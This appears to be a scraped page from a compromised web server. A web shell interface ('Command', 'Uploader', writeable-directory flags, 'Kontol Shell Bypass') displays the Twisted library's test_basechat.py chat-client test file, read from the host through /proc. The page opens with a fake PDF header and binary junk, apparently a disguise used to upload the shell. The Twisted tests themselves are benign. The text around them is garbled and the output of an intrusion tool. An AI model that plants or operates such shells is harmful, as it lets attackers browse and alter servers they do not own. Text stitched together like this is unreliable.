%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /proc/thread-self/root/usr/lib/python3/dist-packages/twisted/words/test/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : //proc/thread-self/root/usr/lib/python3/dist-packages/twisted/words/test/test_basechat.py
# Copyright (c) Twisted Matrix Laboratories.
# See LICENSE for details.

"""
Tests for L{twisted.words.im.basechat}.
"""

from twisted.trial import unittest
from twisted.words.im import basechat, basesupport


class ChatUITests(unittest.TestCase):
    """
    Tests for the L{basechat.ChatUI} chat client.
    """
    def setUp(self):
        self.ui = basechat.ChatUI()
        self.account = basesupport.AbstractAccount("fooAccount", False, "foo",
                                                   "password", "host", "port")
        self.person = basesupport.AbstractPerson("foo", self.account)


    def test_contactChangedNickNoKey(self):
        """
        L{basechat.ChatUI.contactChangedNick} on an
        L{twisted.words.im.interfaces.IPerson} who doesn't have an account
        associated with the L{basechat.ChatUI} instance has no effect.
        """
        self.assertEqual(self.person.name, "foo")
        self.assertEqual(self.person.account, self.account)

        self.ui.contactChangedNick(self.person, "bar")
        self.assertEqual(self.person.name, "foo")
        self.assertEqual(self.person.account, self.account)


    def test_contactChangedNickNoConversation(self):
        """
        L{basechat.ChatUI.contactChangedNick} changes the name for an
        L{twisted.words.im.interfaces.IPerson}.
        """
        self.ui.persons[self.person.name, self.person.account] = self.person

        self.assertEqual(self.person.name, "foo")
        self.assertEqual(self.person.account, self.account)

        self.ui.contactChangedNick(self.person, "bar")
        self.assertEqual(self.person.name, "bar")
        self.assertEqual(self.person.account, self.account)


    def test_contactChangedNickHasConversation(self):
        """
        If an L{twisted.words.im.interfaces.IPerson} is in a
        L{basechat.Conversation}, L{basechat.ChatUI.contactChangedNick} causes a
        name change for that person in both the L{basechat.Conversation} and the
        L{basechat.ChatUI}.
        """
        self.ui.persons[self.person.name, self.person.account] = self.person
        conversation = basechat.Conversation(self.person, self.ui)
        self.ui.conversations[self.person] = conversation

        self.assertEqual(self.person.name, "foo")
        self.assertEqual(self.person.account, self.account)

        self.ui.contactChangedNick(self.person, "bar")
        self.assertEqual(self.person.name, "bar")
        self.assertEqual(self.person.account, self.account)

Kontol Shell Bypass